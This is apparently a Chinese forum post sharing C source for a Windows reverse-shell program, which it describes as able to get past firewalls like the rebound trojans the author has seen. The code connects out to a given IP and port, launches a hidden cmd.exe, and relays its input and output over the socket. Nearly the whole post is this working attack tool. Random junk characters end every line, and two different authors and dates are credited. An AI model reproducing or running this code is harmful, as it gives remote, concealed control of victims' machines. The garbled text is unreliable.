这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o]Xt2E
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/* ============================== |r*)U(c`
Rebound port in Windows NT ae2Q^yLA
By wind,2006/7 -@e2/6Oi
===============================*/ d[>HxPwo
#include [~u!*W
#include *s,[Uy![
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#pragma comment(lib,"wsock32.lib") :r@t '
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void OutputShell(); ^?$,sS
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SOCKET sClient; _1NK9dp:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'zM=[#!B
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void main(int argc,char **argv) Q6W![571;
{ -OSj<m<
WSADATA stWsaData; ^DN:.qQ
int nRet; 2j:0!%
SOCKADDR_IN stSaiClient,stSaiServer; 43pe6 ^.
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if(argc != 3)
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{ =gs-#\%
printf("Useage:\n\rRebound DestIP DestPort\n"); 'f!U[Qatg
return; NJ)Dw`|%|)
} ~_-]>
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WSAStartup(MAKEWORD(2,2),&stWsaData); +Q[uq!<VJk
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #R{>@]x`
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stSaiClient.sin_family = AF_INET; h~m,0nGO
stSaiClient.sin_port = htons(0); .07`nIs"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z;%uDlcXI
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Km;}xke6
{ 00.x*v
printf("Bind Socket Failed!\n"); i1|>JM[V
return; .G8>UXX
} #D4
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stSaiServer.sin_family = AF_INET; G0{Z@CvO'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T#H^
}`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4SZ,X^]I>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {Q3OT
{ +?Ii=* 7n
printf("Connect Error!"); X3\PVsH$K
return; 6,A|9UX=`
} d?8OY
OutputShell(); *m}8L%<HT
} X>Vc4n<}
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void OutputShell() bAPMD
{ .P$m?p#
char szBuff[1024]; ]:Gy]qkO
SECURITY_ATTRIBUTES stSecurityAttributes; 4kjfYf@A
OSVERSIONINFO stOsversionInfo; E=N$JM
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z^:_,aJ?
STARTUPINFO stStartupInfo; g#=<;X2
char *szShell; >I|8yqbfm
PROCESS_INFORMATION stProcessInformation; 8i154#l+\
unsigned long lBytesRead; dMH_:jb
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Tb$))O}
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1o`1W4Q
stSecurityAttributes.lpSecurityDescriptor = 0; E ?Mgbd3
stSecurityAttributes.bInheritHandle = TRUE; rXi&8R[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '9zW#b
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n@8Y6+7i
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); PjeI&@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TKR#YJQ?K
stStartupInfo.wShowWindow = SW_HIDE; $<v4c5r]O
stStartupInfo.hStdInput = hReadPipe; dS ojq6M
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -K 'UXoU1
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GetVersionEx(&stOsversionInfo); o]q~sJVk6
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switch(stOsversionInfo.dwPlatformId) *S ag
{ rO7_K>g?
case 1: u%~'+=
szShell = "command.com"; )2Ei<
break; y:RW:D&
default: F
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szShell = "cmd.exe"; 'F d+1
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break; `eMZhYo
} 0f6o0@
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ryL1<u
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send(sClient,szMsg,77,0); J<0{3pZY
while(1) ]E-/}Ysz
{ ^OKm (
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f~NS{gL*
if(lBytesRead) w7Yu} JY^
{ KL'1)G"OH
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); QPVi& *8_
send(sClient,szBuff,lBytesRead,0); N4vcd=uG#
} 9;+&}:IVS
else ZAr6RRv ^
{ H~Uf2A)C
lBytesRead=recv(sClient,szBuff,1024,0); Sb[>R(0:
if(lBytesRead<=0) break; k24I1DlR8
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \J+a7N8m,
} ',r` )9o
} LP"g(D2'n
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return; b* n3Fej
}